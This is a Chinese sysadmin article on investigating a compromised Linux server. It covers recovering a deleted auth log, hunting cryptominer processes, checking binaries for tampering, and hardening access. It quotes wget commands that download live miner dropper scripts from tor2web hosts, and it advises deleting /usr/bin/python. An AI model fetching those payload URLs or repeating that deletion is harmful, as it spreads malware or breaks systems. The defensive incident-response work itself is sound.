1.查看到日志不存在,被删除了 ll /var/log/secure
ls: cannot access /var/log/secure: No such file or directory
2.查看是否有进程在使用这个文件,可以看到rsysload进程在使用,pid号是1264,使用者root,打开的文件描述符是4,结尾的状态是文件已经被删除。 lsof | grep /var/log/secure
rsyslogd 1264 root 4w REG 8,1 3173904 263917 /var/log/secure (deleted)
3.查看对应pid号的文件描述符,可以看到对应的文件内容。 tail /proc/1264/fd/4
Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stoneSep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user rootSep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!
4.用重定向的方法恢复日志, cat /proc/1264/fd/4 > /var/log/secure
1.如果发现机器产生了异常流量,可以抓取网络包查看流量情况或者查看流量情况。通常作为肉鸡用于去攻击其它机器的时候,网络出口流量会异常的大。 命令:tcpdump
| iperf
2.查看当前开启的进程服务,一般脚本病毒会开启udp端口来作为肉鸡攻击其它机器,查找有问题的进程。 命令:netstat -unltp
3.通常异常进程都比较消耗资源,比如挖矿脚本最消耗资源,查看哪个进程消耗资源做多 命令:top
4.如果找到怀疑的进程,找到pid号,可以看到启动命令 ll /proc/1850/ | grep -i exe
lrwxrwxrwx. 1 root root 0 Sep 15 12:31 exe -> /usr/bin/python
5.找到那个文件,并删除掉。 ll /usr/bin/python``rm -rf /usr/bin/python
6.同时搜索类似文件名的文件是否存在,不过可能文件名会改变 find / -name python -type f
1.如果上面方法没找到,则用ps
命令来获取信息。 和其它机器对比,找出有问题的进程,基本上系统启动后就那几个进程,再加上服务器运行的服务,进程数量相对比较固定。 命令:ps -aux
2.找到有问题的pid号后,查看相关进程,一起kill掉杀死。 pstree -p
3.可以看到进程的树状图,还有分支出来的其它子进程,一起kill掉,再删除程序。
1.查看日志或者crontab中,如果找到有相关的执行脚本的操作,可以去用搜找那些文件。
crontab -l看到的,如下是真实被入侵挖矿后看到的 
2.下载第一个并不执行 wget -qO- -U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh
3.显示如下,先判断/tmp/.X11-lock所记录的pid是否存在,不存在将下载一个可执行文件,加权限后并启动,再删除自己。
4.只下载脚本并不执行,看来人家的脚本还分系统,针对挖矿 wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m)
5.看到目录下有个.X86_64的几百KB的可执行文件,不知道拿啥语言写的,手动运行它后,会先删除自己,再运行一会才开始挖矿。
可以查看这个pid,来看看它在做什么。 strace -p pid号
6.我用如下命令获取一个文件,在这个挖矿脚本运行2分钟后,将pid杀死,查看文件内容。 strace -p pid号 &> du.txt
可以从中看到一些信息,如果有open,conle之类的字样,可以看看他在打开哪些文件,找到路径后删除掉。
1.查询所有命令信息,看是否被篡改,可以看到最近更改和最近改动
2.那就根据关键字改,进行筛查,多查找几个日期和目录
3.还有可能是alias别名,查看是否有变化
4.如果对方可能改了文件,但修改了日期,那就用md5效验,和一台正常机器做对比。
1.做好监控、对进程、登陆用户、在线用户等等监控。
2.除了提供服务的nginx之类的机器,其他mysql等等均不要开放外网,nginx那台也不对外开放22端口,只开放80端口。
3.设置跳板机,只通过跳板机进行登录,并限制访问的白名单地址,有需求可以设置短信和秘钥双因子验证。开源的有jumpserver和webterminal这些堡垒机软件。
4.nginx或者其他服务均使用单独的用户启动,并nologin消除登陆权限。
5.更改暴露在外面的服务器22端口改成别的,并禁止root直接登陆。
6.做好服务器定期镜像,因为被入侵后恢复很痛苦,最好的方法是直接还原镜像
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。